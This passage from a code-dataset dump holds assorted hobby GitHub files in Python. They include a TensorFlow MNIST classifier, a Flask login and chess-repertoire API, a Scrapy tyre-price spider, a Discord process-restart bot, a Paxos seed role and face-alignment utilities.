newestfile(target_list):\n newest_file = target_list[0]\n for i in range(len(target_list)):\n if i < (len(target_list)-1) and newest_file[1] < target_list[i+1][1]:\n newest_file = target_list[i+1]\n else:\n continue\n return newest_file\n\nif __name__ == '__main__':\n if (len(sys.argv) != 2):\n print(\"参数数量不正确,脚本退出\")\n sys.exit(1)\n destdir = sys.argv[1] #目的文件夹或文件夹,必须绝对路径\n# destdir = r'D:\\ftp'\n file_list = []\n if os.path.isdir(destdir):\n listdir(destdir, file_list)\n new_file = newestfile(file_list)\n mtime = time.ctime(os.path.getmtime(new_file[0]))\n ctime = time.ctime(os.path.getctime(new_file[0]))\n print(\"newest file is : %s\\nLast modified : %s\\ncreated time : %s\" % (new_file[0],mtime,ctime))\n else:\n mtime = time.ctime(os.path.getmtime(destdir))\n ctime = time.ctime(os.path.getctime(destdir))\n print(\"newest file is : %s\\nLast modified : %s\\ncreated time : %s\" % (destdir,mtime,ctime))\n\n\n","repo_name":"mrszj/filetools","sub_path":"src/get_file_time.py","file_name":"get_file_time.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34565740710","text":"# coding:utf-8\nimport tensorflow as tf\nimport numpy as np\nimport time\n\nimport examples.utils as utils\n\nPATH = r\"D:\\Codes\\git\\stanford-tensorflow-tutorials\\examples\\data\\MNIST\"\nN_TRAIN = 60000\nN_TEST = 10000\n\nBATCH_SIZE = 128\nLEARNING_RATE = 0.001\nEPOCH = 30\n\n\ntrain, valid, test = utils.read_mnist(PATH)\n\ntrain_data = tf.data.Dataset.from_tensor_slices(train)\ntrain_data = train_data.batch(BATCH_SIZE)\ntest_data= tf.data.Dataset.from_tensor_slices(test)\ntest_data = test_data.batch(BATCH_SIZE)\niterator = tf.data.Iterator.from_structure(train_data.output_types, train_data.output_shapes)\nimg, label = iterator.get_next()\ntrain_init = iterator.make_initializer(train_data)\ntest_init = iterator.make_initializer(test_data)\n\n# only one layer\nweights = tf.get_variable(\"weights\", shape=(784,10),initializer=tf.random_normal_initializer(0,0.1))\nbias = tf.get_variable(\"bias\", shape=(1, 10),initializer=tf.zeros_initializer())\nlogits = tf.sigmoid(tf.matmul(img, weights) + bias)\n\n# # two layers\n# weights1 = tf.get_variable(\"weights1\", shape=(784, 100), initializer=tf.random_normal_initializer(0,0.1))\n# bias1 = tf.get_variable(\"bias1\", shape=(1,100), initializer=tf.zeros_initializer())\n# output1 = tf.sigmoid(tf.matmul(img, weights1) + bias1)\n#\n# weights2 = tf.get_variable(\"weights2\", shape=(100,10), initializer=tf.random_normal_initializer(0,0.1))\n# bias2 = tf.get_variable(\"bias2\", shape=(1,10), initializer=tf.zeros_initializer())\n# logits = tf.matmul(output1, weights2) + bias2\n\nentropy = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=label, name=\"entropy\")\nloss = tf.reduce_mean(entropy, name=\"loss\")\n\n# # use GradientDescentOptimizer\n# optimizer = tf.train.GradientDescentOptimizer(learning_rate=LEARNING_RATE).minimize(loss)\n# use AdamOptimizer\noptimizer = tf.train.AdamOptimizer(learning_rate=LEARNING_RATE).minimize(loss)\n\n\npreds = tf.nn.softmax(logits)\ncorrect = tf.equal(tf.argmax(preds, 1), tf.argmax(label, 1))\naccuracy = tf.reduce_sum(tf.cast(correct, tf.float32))\n\nwriter = tf.summary.FileWriter(logdir=\"./graphs/logistic_reg\", graph=tf.get_default_graph())\nwith tf.Session() as sess:\n start_time = time.time()\n sess.run(tf.global_variables_initializer())\n\n for i in range(EPOCH):\n sess.run(train_init)\n total_loss = 0\n n_batches = 0\n try:\n while True:\n _, l = sess.run([optimizer, loss])\n total_loss += l\n n_batches += 1\n except tf.errors.OutOfRangeError:\n pass\n print(\"Average loss in epoch {}: {}\".format(i, total_loss/n_batches))\n print(\"Train time is {} secondes.\".format(time.time()-start_time))\n\n sess.run(test_init)\n total_correct = 0\n try:\n while True:\n accuracy_batch = sess.run(accuracy)\n total_correct += accuracy_batch\n except tf.errors.OutOfRangeError:\n pass\n print(\"Accuracy is {:.3%}.\".format(total_correct/N_TEST))\nwriter.close()\n\n\n\n","repo_name":"SelfSoda/CS_20_Tensorflow","sub_path":"logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22722676841","text":"from flask import Blueprint, jsonify , request, session,abort\nfrom models import User, Position, Outstanding, Card, ScoreHistory\nfrom app import db\nfrom functools import wraps\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom merge import combinePGN\nfrom supermemo import supermemo_2\nimport datetime\nfrom datetime import timedelta\n\nauth_router = Blueprint(__name__,'auth')\n\ndef login_required(fn):\n @wraps(fn)\n def check_login(*args, **kwargs):\n print(session.keys())\n if not session.get('current_user', None):\n abort(403, 'Gotta log in bruh')\n return fn(*args, **kwargs)\n return check_login\n\n@auth_router.route('/api/register/',methods = ['POST'])\ndef register():\n username = request.json.get('username')\n password = request.json.get('password')\n\n password_hash = generate_password_hash(str(password))\n user = User(username = username, password_hash = password_hash)\n db.session.add(user)\n db.session.commit()\n\n user_dict = user.to_dict()\n session['current_user'] = user_dict\n return jsonify({\n 'success': 'success',\n 'message': 'Successfully registered',\n 'user': user_dict\n })\n\n\n@auth_router.route('/api/logout/', methods=['POST'])\ndef logout():\n session.pop('current_user', None)\n return jsonify({\n 'status': 'success',\n 'message': 'Sucessfully logged out'\n })\n\n\n@auth_router.route('/api/login/', methods=['POST'])\ndef login():\n username = request.json.get('username')\n password = request.json.get('password')\n\n user = User.query.filter_by(username=username).first()\n print(user)\n if not user: \n abort(404, 'User not found')\n if not check_password_hash(user.password_hash,password):\n abort(403, 'Username and password don\\'t match')\n\n user_dict = user.to_dict()\n session['current_user'] = user_dict\n return jsonify({\n 'success': 'success',\n 'message': 'Successfully Logged in',\n 'user': user_dict\n })\n\n@auth_router.route('/api/verify/', methods=['GET'])\ndef verify():\n current_user = session.get('current_user', None)\n if not current_user:\n abort(404, 'User not logged in or not found')\n return jsonify({\n 'status': 'success',\n 'message': 'User verified',\n 'user': current_user\n })\n\n\n\n@auth_router.route('/api/position/', methods=['PUT'])\n@login_required\ndef update_position(position_id):\n position_data = request.get_json()\n current_user = session.get('current_user')\n position = Position.query.get_or_404(position_id, 'Position Not Found')\n\n if position.user_id != current_user['id']:\n abort(403,\"You don't own this position\")\n \n for key, value in position_data.items():\n setattr(position,key,value)\n\n position.user_id = current_user['id']\n\n\n db.session.add(position)\n db.session.commit()\n return jsonify(position.to_dict())\n\n\n@auth_router.route('/api/position/', methods=['POST'])\n@login_required\ndef create_position():\n\n #preparing to write to db\n position_data = request.get_json()\n current_user = session.get('current_user')\n position = Position(**position_data, user_id = current_user['id'])\n\n #checking if position is already in the db for the user\n position_to_compare = Position.query.filter(Position.user_id == current_user['id']).all()\n position_pgn_to_compare = [position.pgn for position in position_to_compare]\n exists = position_pgn_to_compare.count(position.pgn)\n if exists > 0:\n return jsonify({\n 'status': 'error',\n 'message': 'Position Already Exists for this user',\n }) \n\n #writing to db\n db.session.add(position)\n db.session.commit()\n\n # get position that we just published to db\n\n our_new_position = Position.query.filter((Position.user_id == current_user['id']) & (Position.pgn == position.pgn) ).all()\n # card needs to contain id , fen , position id user id , colour \n\n card = Card(position_id = our_new_position[0].id , fen = our_new_position[0].pgn, colour = our_new_position[0].colour , user_id = our_new_position[0].user_id)\n\n #create Card\n db.session.add(card)\n db.session.commit()\n\n #pull card from db\n\n our_new_card = Card.query.filter((Card.user_id == current_user['id']) & (Card.position_id == position.id)).all()\n #create outstanding \n\n outstanding = Outstanding(card_id = our_new_card[0].id, user_id = current_user['id'])\n\n \n\n db.session.add(outstanding)\n db.session.commit()\n return jsonify(position.to_dict())\n\n@auth_router.route('/api/outstanding/', methods=['GET'])\n@login_required\ndef pull_queue(user_id):\n outstanding_cards = Outstanding.query.filter((Outstanding.user_id == user_id) & (Outstanding.queue_time <= datetime.datetime.now())).all()\n\n outstanding_cards_dicts = [outstanding_card.to_dict() for outstanding_card in outstanding_cards]\n\n position_list = []\n for card in outstanding_cards:\n position = Card.query.get(card.card_id)\n position_list.append(position)\n print(position_list)\n\n position_list_dicts = [position_card.to_dict() for position_card in position_list]\n return jsonify(position_list_dicts)\n\n@auth_router.route('/api/positions/', methods=['GET'])\n@login_required\ndef get_positions(user_id):\n positions = Position.query.filter(Position.user_id == user_id).all()\n position_dicts = [position.to_dict() for position in positions]\n pgns = [position.pgn for position in positions]\n output = combinePGN(pgns)\n \n return jsonify(position_dicts)\n\n\n\n@auth_router.route('/api/mergepositions/', methods=['GET'])\n@login_required\ndef merge_positions(user_id):\n positions = Position.query.filter(Position.user_id == user_id).all()\n # position_dicts = [position.to_dict() for position in positions]\n pgns = [position.pgn for position in positions]\n output = combinePGN(pgns)\n output2 = str(output)\n return jsonify(output2)\n\n\n@auth_router.route('/api/setScore/' , methods = ['POST'])\n@login_required\ndef populate_latest_score(card_id):\n score_data = request.get_json()\n instance_of_score = ScoreHistory(**score_data)\n db.session.add(instance_of_score)\n db.session.flush()\n \n db.session.commit()\n\n scores_for_card = ScoreHistory.query.filter(ScoreHistory.card_id == card_id).all()\n score_history_for_card = [card.score for card in scores_for_card]\n \n delay = supermemo_2(x=score_history_for_card)\n \n\n\n outstanding_to_update = Outstanding.query.filter(Outstanding.card_id == instance_of_score.card_id).all()\n outstanding_to_update[0].queue_time = datetime.datetime.now() + timedelta(days=delay)\n\n db.session.add(outstanding_to_update[0])\n db.session.commit()\n\n return jsonify({\n 'status': 'success',\n 'message': 'Score saved to Database',\n 'score_id': instance_of_score.id\n })\n\n\n","repo_name":"dyldyl123/Chess-Repertoire-Trainer","sub_path":"server/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10599904072","text":"import zipfile\n\nfrom django.utils.datastructures import MultiValueDictKeyError\nfrom rest_framework import status\n\nfrom presqt.utilities import PresQTValidationError\n\n\ndef file_validation(request):\n \"\"\"\n Verify that the file, 'presqt-file' exists in the body of the request.\n\n Parameters\n ----------\n request : HTTP request object\n\n Returns\n -------\n Returns the file provided in the body named 'presqt-file'\n \"\"\"\n try:\n file = request.FILES['presqt-file']\n except MultiValueDictKeyError:\n raise PresQTValidationError(\n \"PresQT Error: The file, 'presqt-file', is not found in the body of the request.\",\n status.HTTP_400_BAD_REQUEST)\n\n # Check if the file provided is a zip file\n if not zipfile.is_zipfile(file):\n raise PresQTValidationError(\n \"PresQT Error: The file provided, 'presqt-file', is not a zip file.\", status.HTTP_400_BAD_REQUEST)\n return file\n","repo_name":"Lucy-Family-Institute/presqt","sub_path":"presqt/api_v1/utilities/validation/file_validation.py","file_name":"file_validation.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"6517893497","text":"from scrapy.spider import Spider\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.selector import Selector\nfrom scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor\nfrom gommadiretto.items import DisponibilityItem\nfrom scrapy.log import ScrapyFileLogObserver\nfrom scrapy import log\nfrom scrapy.contrib.loader.processor import TakeFirst, MapCompose, Join\nfrom scrapy.contrib.loader import ItemLoader\n\n\n\nclass TinyGmSpider(CrawlSpider):\n name = \"tinygm\"\n domain_name = \"gommadiretto.it\"\n \n rules = (\n Rule(SgmlLinkExtractor(restrict_xpaths=('//a[@id=\"ajax_suchergebnisliste_goto_next\"]'),canonicalize=False),callback=\"parse_items\"),\n )\n\n def __init__(self,name=None,dim1=None,dim2=None,dim3=None,paging=5,**kwargs):\n ScrapyFileLogObserver(open(\"tinyspider.log\",'w'), level=log.INFO).start()\n ScrapyFileLogObserver(open(\"tinyspider_error.log\",'w'),level=log.ERROR).start()\n log.msg('begin arguments')\n log.msg(dim1)\n log.msg(dim2)\n log.msg(dim3)\n log.msg(paging)\n log.msg('end arguments')\n log.msg('STAR WITH : %s %s %s WITH PAGE %s' % (dim1,dim2,dim3,paging))\n super(TinyGmSpider,self).__init__(name,**kwargs)\n log.msg(\"http://www.gommadiretto.it/cgi-bin/rshop.pl?dsco=130&Breite=%s&Quer=%s&Felge=%s&Speed=&Load=&kategorie=&Marke=&ranzahl=4&tyre_for=&x_tyre_for=&m_s=3&suchen=Trova%%20pneumatici&rsmFahrzeugart=PKW&filter_preis_bis=&filter_preis_von=&homologation=&search_tool=standard&Ang_pro_Seite=%s\" % (dim1,dim2,dim3,paging))\n self.start_urls = [\"http://www.gommadiretto.it/cgi-bin/rshop.pl?dsco=130&Breite=%s&Quer=%s&Felge=%s&Speed=&Load=&kategorie=&Marke=&ranzahl=4&tyre_for=&x_tyre_for=&m_s=3&suchen=Trova%%20pneumatici&rsmFahrzeugart=PKW&filter_preis_bis=&filter_preis_von=&homologation=&search_tool=standard&Ang_pro_Seite=%s\" % (dim1,dim2,dim3,paging)] \n\n\n def parse_start_url(self, response):\n return self.parse_items(response)\n\n def parse_items(self,response):\n response = response.replace(body=response.body.replace('
    ', '\\n')) \n sel = HtmlXPathSelector(response)\n \n products = []\n items = sel.xpath(\"//div[@id='ajax_suchergebnisliste']/*[div]\")\n\n for product in items:\n l = ItemLoader(item=DisponibilityItem(),selector=product)\n l.add_xpath('name','.//a[1]/@name')\n l.add_xpath('title','.//div/div/div[2]/div//text()')\n l.add_xpath('disponibility','.//div/div/div[5]/div[1]/text()')\n products.append(l.load_item());\n return products\n","repo_name":"Atamos/gmcrawler","sub_path":"gommadiretto/spiders/tinygm.py","file_name":"tinygm.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24322131938","text":"cars = []\nwhile True:\n CarBrand = input(\"Type the car brand. To end the application please type END \")\n if CarBrand == \"END\":\n break\n CarColor = input(\"Type the car color. \")\n ListElement = [CarBrand, CarColor]\n cars.append(ListElement)\n\ni = 0\nfor element in cars:\n i = i + 1\n print(\"Car brand number \" + str(i) + \" is: \" + element[1] + \" \" + element[0])\n\n","repo_name":"JoannaOleszczuk/Cars","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43544403881","text":"\nx = .23945593\ny = .798839238\nx_rounded = round(x)\n# x_rounded will be rounded down to 0\ny_rounded = round(y)\n# y_rounded will be rounded up to 1\n\nimport random\n\ndef coin_toss(coins):\n head = 0\n tail = 0\n for x in range(coins+1):\n random_num = random.randint(1,2)\n if random_num == 1:\n head += 1\n print(\"Attempt #{}: Throwing a coin... It's a head! ... Got {} head(s) so far and {} tail(s) so far\".format(x, head, tail))\n elif random_num == 2:\n tail += 1\n print(\"Attempt #{}: Throwing a coin... It's a tail! ... Got {} head(s) so far and {} tail(s) so far\".format(x, head, tail))\ncoin_toss(5000)","repo_name":"rlyost/python_Fund_Assign","sub_path":"coin/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6071471991","text":"import abc\n\nimport numpy as np\n\nfrom rl_base.agent.agent import Agent\nfrom rl_base.ml.prediction_model import PredictionModel\n\n\nclass VideoGameAgent(Agent, abc.ABC):\n def choose_action(self, state):\n if self.epsilon > self.min_epsilon:\n self.epsilon *= self.epsilon_decay\n else:\n self.epsilon = self.min_epsilon\n if np.random.rand() < self.epsilon and self.allow_random_actions:\n return np.random.rand(self.flat_action_space)\n return self.model.predict(state).flatten()\n\n def learn(self, state, action, reward, new_state=None):\n self.rewards.append(reward)\n self.memory_state.append((state, new_state, reward, action))\n if len(self.memory_state) > self.max_memory_size:\n self.memory_state.pop(0)\n data = []\n label = []\n for state, new_state, reward, action in self.memory_state:\n data.append(state)\n _reward = self.model.predict(state)\n if reward < 0:\n _reward[action] = reward\n else:\n _reward[action] = reward + self.gamma * (np.amax(self.model.predict(new_state)))\n if self.normalize_reward:\n _reward -= _reward.min()\n _reward /= _reward.sum()\n label.append(_reward)\n self.losses.append(self.model.train(np.array(data), np.array(label)))\n\n def conclude(self):\n pass\n\n def __init__(self, model: PredictionModel, flat_action_space: int, epsilon=1.0, gamma=0.9, max_memory_size=500,\n allow_random_actions=True, normalize_reward=False,\n min_epsilon=0.01, epsilon_decay=0.99):\n super().__init__()\n self.model = model\n self.epsilon = epsilon\n self.gamma = gamma\n self.flat_action_space = flat_action_space\n self.min_epsilon = min_epsilon\n self.epsilon_decay = epsilon_decay\n self.max_memory_size = max_memory_size\n self.normalize_reward = normalize_reward\n self.memory_state = []\n self.losses = []\n self.rewards = []\n self.allow_random_actions = allow_random_actions\n","repo_name":"idoheinemann/RL-FrameWork","sub_path":"rl_base/agent/video_game_agent.py","file_name":"video_game_agent.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"3778045112","text":"from PIL import Image, ImageEnhance, ImageDraw\r\n\r\n\r\ndef factor(scale):\r\n root = int(scale**(1/2))+1\r\n fin = None\r\n top = [x for x in range(root, scale)]\r\n bottom = [x for x in range(1, root)]\r\n bottom.reverse()\r\n if len(top) <= len(bottom):\r\n for x in top:\r\n if x != 0:\r\n if (scale % x) == 0:\r\n fin = x\r\n return (fin, int(scale/fin))\r\n else:\r\n for x in bottom:\r\n if x != 0:\r\n if (scale % x) == 0:\r\n fin = x\r\n return (fin, int(scale/fin))\r\n return fin\r\n\r\n\r\ndef create_img(file):\r\n with open(file, 'rb')as file:\r\n data = file.read()\r\n img = Image.new('L', factor(len(data)), (255))\r\n img.save('test.jpg')\r\n\r\n\r\nwith open(r'C:\\Users\\work_space\\source\\アイがあるようでないようである _ ナナヲアカリ.mp4', 'rb')as file:\r\n data = list(file.read())\r\nimage = Image.new('L', factor(len(data)))\r\npixels = image.load()\r\ncounter = 0\r\nfor i in range(image.size[0]):\r\n for j in range(image.size[1]):\r\n pixels[i, j] = data[counter]\r\n counter += 1\r\nImage1 = Image.open('fzzl.png').convert('L').resize(image.size)\r\npixels1 = Image1.load()\r\nfor x in range(Image1.size[0]):\r\n for y in range(Image1.size[1]):\r\n pixels[x, y] += pixels1[x, y]\r\nimage.save('test.jpg')\r\n\r\n\r\nimage = Image.open('test.jpg')\r\nimage1 = Image.open('fzzl.png').convert('L').resize(image.size)\r\npixels = image.load()\r\npixels1 = image1.load()\r\nfor x in range(image.size[0]):\r\n for y in range(image.size[1]):\r\n pixels[x, y] -= pixels1[x, y]\r\nimage.show()\r\n","repo_name":"DAF201/trash_can","sub_path":"gray.py","file_name":"gray.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26194277924","text":"import asyncio\nimport os\nimport random\nimport datetime\nimport discord\nimport subprocess\n\ntoken = \"\"\nDUCKWAD_SERVER_ID = \"\"\nLOBBY_CHANNEL_ID = \"\"\nBOTTESTING_CHANNEL_ID = \"\"\ndiscordClient = discord.Client()\n\n@discordClient.event\nasync def on_message(message):\n upperCase = message.content.upper()\n if upperCase.startswith('!RESTART', 0, 8) and message.author != discordClient.user:\n try:\n await discordClient.send_message(message.channel, \"Restarting \" + message.content[9:])\n if(message.content[9:11].upper() == \"TTS\"):\n await fuckItAll()\n except Exception as e:\n await discordClient.send_message(message.channel, e)\n\n\nasync def fuckItAll():\n command = \"pgrep -af python3.5\"\n process = subprocess.Popen(['pgrep', '-af', 'python3.5'], stdout=subprocess.PIPE)\n stdout = process.communicate()[0]\n test = str(stdout).split('\\\\n')\n test[0] = test[0][2:]\n id = -1\n for e in test:\n if(\"test1.py\" in e):\n id = e[:4]\n print (id)\n\n if(id != -1):\n command = \"kill \" + id\n process = subprocess.Popen(['kill', id], stdout=subprocess.PIPE)\n\n os.chdir('/root/python')\n command = \"screen -dmS TTS bash -c \" + '\\'python3.5 ./test1.py\\''\n process = subprocess.call(command, shell=True)\n\n@discordClient.event\nasync def on_ready():\n print('Logged in as')\n print(discordClient.user.name)\n print(discordClient.user.id)\n print('-------')\n\ndiscordClient.run(token)\n","repo_name":"Smoothtalk/Smooth-Discord-Bots","sub_path":"restart.py","file_name":"restart.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29413710138","text":"\"\"\" default config file \"\"\"\n\nfrom loguru import logger\ntry:\n import config_local\nexcept ImportError as error:\n logger.info(f\"Import Error importing local config: {error}\")\n\nfrom dewar.frontend import frontend\nimport dewar.ingestor.basic\nimport dewar.metadata.tinydb\n\n\nfrom dewar.storage.s3 import Storage\nimport os\n\nbuckets = {\n 'storage' : 'dewar',\n 'incoming-knowngood' : 'dewar-incoming-knowngood',\n 'incoming-other' : 'dewar-incoming-other',\n}\n\nMetadataStore = dewar.metadata.tinydb.MetadataStore(filename='dewar.json')\n\n\nstorage = Storage(bucket=buckets['storage'],\n endpoint_url=os.environ.get('S3_ENDPOINT_URL'),\n metadatastore=MetadataStore,\n )\n\nincoming_knowngood = Storage(bucket=buckets['incoming-knowngood'],\n endpoint_url=os.environ.get('S3_ENDPOINT_URL'),\n metadatastore=MetadataStore,\n )\n\nincoming_other = Storage(bucket=buckets['incoming-other'],\n endpoint_url=os.environ.get('S3_ENDPOINT_URL'),\n metadatastore=MetadataStore,\n )\n\nIngestor = dewar.ingestor.basic.Ingestor()\n\nIngestor.storage = storage\nIngestor.incoming = {\n 'known_good': incoming_knowngood,\n 'other' : incoming_other,\n}\n","repo_name":"yaleman/dewar","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"47625244302","text":"\"\"\"\nSeed Node Role\n\"\"\"\nfrom typing import List, Callable\n\n# pylint: disable-next=relative-beyond-top-level)\nfrom ...entities.messages_types import Welcome\n\n# pylint: disable-next=relative-beyond-top-level)\nfrom ...constants import JOIN_RETRANSMIT\nfrom . import Role\nfrom ..node import Node\nfrom .bootstrap import Bootstrap\n\n\nclass Seed(Role):\n \"\"\"\n Network partitions are the most challenging failure case for clustered applications. In a network partition,\n all cluster members remain alive, but communication fails between some members.\n For example, if the network link joining a cluster with nodes in Berlin and Taipei fails, the network is partitioned\n If both parts of a cluster continue to operate during a partition, then re-joining the parts after the network link\n is restored can be challenging.\n In the Multi-Paxos case, the healed network would be hosting two clusters with different decisions for the same slot\n numbers.\n\n To avoid this outcome, creating a new cluster is a user-specified operation. Exactly one node in the cluster runs\n the seed role, with the others running bootstrap as usual.\n The seed waits until it has received Join messages from a majority of its peers, then sends a Welcome with an\n initial state for the state machine and an empty set of decisions.\n The seed role then stops itself and starts a bootstrap role to join the newly-seeded cluster.\n\n Seed emulates the Join/Welcome part of the bootstrap/replica interaction\n \"\"\"\n\n # pylint: disable-next=too-many-arguments\n def __init__(\n self,\n node: Node,\n initial_state,\n execute_fn: Callable,\n peers: List,\n bootstrap_cls=Bootstrap,\n ) -> None:\n \"\"\"\n Creates a new instance of the Seed Role.\n \"\"\"\n super().__init__(node)\n self.initial_state = initial_state\n self.execute_fn = execute_fn\n self.peers = peers\n self.bootstrap_cls = bootstrap_cls\n self.seen_peers = set([])\n self.exit_timer = None\n\n def do_join(self, sender):\n \"\"\"\n Handles Join Process. This adds the sender to the already seen peers in the cluster\n \"\"\"\n self.seen_peers.add(sender)\n if len(self.seen_peers) <= len(self.peers) / 2:\n return\n\n # cluster is ready - welcome everyone\n self.node.send(\n list(self.seen_peers),\n Welcome(state=self.initial_state, slot=1, decisions={}),\n )\n\n # stick around for long enough that we don't hear any new JOINs from newly formed cluster\n if self.exit_timer:\n self.exit_timer.cancel()\n self.exit_timer = self.set_timer(JOIN_RETRANSMIT * 2, self.finish)\n\n def finish(self):\n \"\"\"\n Finish process bootstraps this node in the cluster that was just seeded.\n \"\"\"\n # bootstrap this node in the cluster we just seeded\n bootstrap = self.bootstrap_cls(\n self.node, peers=self.peers, execute_fn=self.execute_fn\n )\n bootstrap.start()\n self.stop()\n","repo_name":"BrianLusina/konsensus","sub_path":"konsensus/models/roles/seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29693550838","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 9 15:04:39 2018\n\n@author: luoyuhao\n\"\"\"\nimport numpy\nimport numpy as np\nimport cv2\nimport time\nimport imageio\nfrom skimage import transform as trans\n\nimgSize = [112, 96];\ncoord5point = [[30.2946, 51.6963],\n [65.5318, 51.6963],\n [48.0252, 71.7366],\n [33.5493, 92.3655],\n [62.7299, 92.3655]]\n\nface_landmarks = [[259, 137],\n [319, 150],\n [284, 177],\n [253, 206],\n [297, 216]]\n\ndef transformation_from_points(points1, points2):\n points1 = points1.astype(numpy.float64)\n points2 = points2.astype(numpy.float64)\n c1 = numpy.mean(points1, axis=0)\n c2 = numpy.mean(points2, axis=0)\n points1 -= c1\n points2 -= c2\n s1 = numpy.std(points1)\n s2 = numpy.std(points2)\n points1 /= s1\n points2 /= s2\n U, S, Vt = numpy.linalg.svd(points1.T * points2)\n R = (U * Vt).T\n return numpy.vstack([numpy.hstack(((s2 / s1) * R,c2.T - (s2 / s1) * R * c1.T)),numpy.matrix([0., 0., 1.])])\n\ndef warp_im(img_im, orgi_landmarks,tar_landmarks):\n #pts1 = numpy.float64(numpy.matrix([[point[0], point[1]] for point in orgi_landmarks]))\n #pts2 = numpy.float64(numpy.matrix([[point[0], point[1]] for point in tar_landmarks]))\n #M = transformation_from_points(pts1, pts2)\n orgi_landmarks = np.float64(np.matrix(orgi_landmarks))\n tar_landmarks = np.float64(np.matrix(tar_landmarks))\n M = transformation_from_points(orgi_landmarks, tar_landmarks)\n dst = cv2.warpAffine(img_im, M[:2], (160, 160))\n return dst\n\ndef face_align(img,bbox=None, landmark=None):\n #image_size = [np.array(img).shape[0],np.array(img).shape[1]]\n #assert len(image_size)==2\n #assert image_size[0]==160 and image_size[1]==160\n image_size = [160,160]\n if landmark is not None:\n assert len(image_size)==2\n std_mark = np.array([\n [54.7066,73.8519],\n [105.045,73.5734],\n [80.036,102.481],\n [59.3561,131.951],\n [101.043,131.72] ], dtype=np.float32 )\n\n face_mark = landmark.astype(np.float32)\n warped = warp_im(img,face_mark,std_mark)\n return warped\n\n else:\n if bbox is None: #use center crop\n \n det = np.zeros(4, dtype=np.int32)\n det[0] = int(img.shape[1]*0.0625)\n det[1] = int(img.shape[0]*0.0625)\n det[2] = img.shape[1] - det[0]\n det[3] = img.shape[0] - det[1]\n else:\n det = bbox\n margin = 32\n bb = np.zeros(4, dtype=np.int32)\n bb[0] = np.maximum(det[0]-margin/2, 0)\n bb[1] = np.maximum(det[1]-margin/2, 0)\n bb[2] = np.minimum(det[2]+margin/2, img.shape[1])\n bb[3] = np.minimum(det[3]+margin/2, img.shape[0])\n ret = img[bb[1]:bb[3],bb[0]:bb[2],:]\n if len(image_size)>0:\n ret = cv2.resize(ret, (image_size[1], image_size[0]))\n return ret \n\n########################################################################################################################\ndef face_align2(img, bbox=None, landmark=None):\n\n M = None\n #image_size = [np.array(img).shape[0],np.array(img).shape[1]]\n #assert len(image_size)==2\n #assert image_size[0]==160 and image_size[1]==160\n image_size = [160,160]\n if landmark is not None:\n assert len(image_size)==2\n std_mark = np.array([\n [54.7066,73.8519],\n [105.045,73.5734],\n [80.036,102.481],\n [59.3561,131.951],\n [101.043,131.72] ], dtype=np.float32 )\n\n face_mark = landmark.astype(np.float32)\n\n tform = trans.SimilarityTransform()\n tform.estimate(face_mark, std_mark)\n M = tform.params[0:2,:]\n \n if M is None:\n if bbox is None: #use center crop\n det = np.zeros(4, dtype=np.int32)\n det[0] = int(img.shape[1]*0.0625)\n det[1] = int(img.shape[0]*0.0625)\n det[2] = img.shape[1] - det[0]\n det[3] = img.shape[0] - det[1]\n else:\n det = bbox\n margin = 44\n bb = np.zeros(4, dtype=np.int32)\n bb[0] = np.maximum(det[0]-margin/2, 0)\n bb[1] = np.maximum(det[1]-margin/2, 0)\n bb[2] = np.minimum(det[2]+margin/2, img.shape[1])\n bb[3] = np.minimum(det[3]+margin/2, img.shape[0])\n ret = img[bb[1]:bb[3],bb[0]:bb[2],:]\n if len(image_size)>0:\n ret = cv2.resize(ret, (image_size[1], image_size[0]))\n return ret \n else: #do align using landmark\n assert len(image_size)==2\n warped = cv2.warpAffine(img,M,(image_size[1],image_size[0]), borderValue = 0.0)\n #warped = warp_im(img,face_mark,std_mark)\n return warped\n\n\n\n\n\n##################################################################################################################\n\n# =============================================================================\n# start = time.time()\n# pts1 = numpy.float64(numpy.matrix([[point[0], point[1]] for point in face_landmarks]))\n# pts2 = numpy.float64(numpy.matrix([[point[0], point[1]] for point in coord5point]))\n# M = transformation_from_points(pts1,pts2)\n# \n# \n# \n# \n# img_path = '/home/luoyuhao/Datasets/Align/1.png'\n# img = imageio.imread(img_path)\n# =============================================================================\n\n\n#def main():\n# =============================================================================\n# pic_path = r'D:\\20171117190537959.jpg'\n# img_im = cv2.imread(pic_path)\n# cv2.imshow('affine_img_im', img_im)\n# dst = warp_im(img_im, face_landmarks, 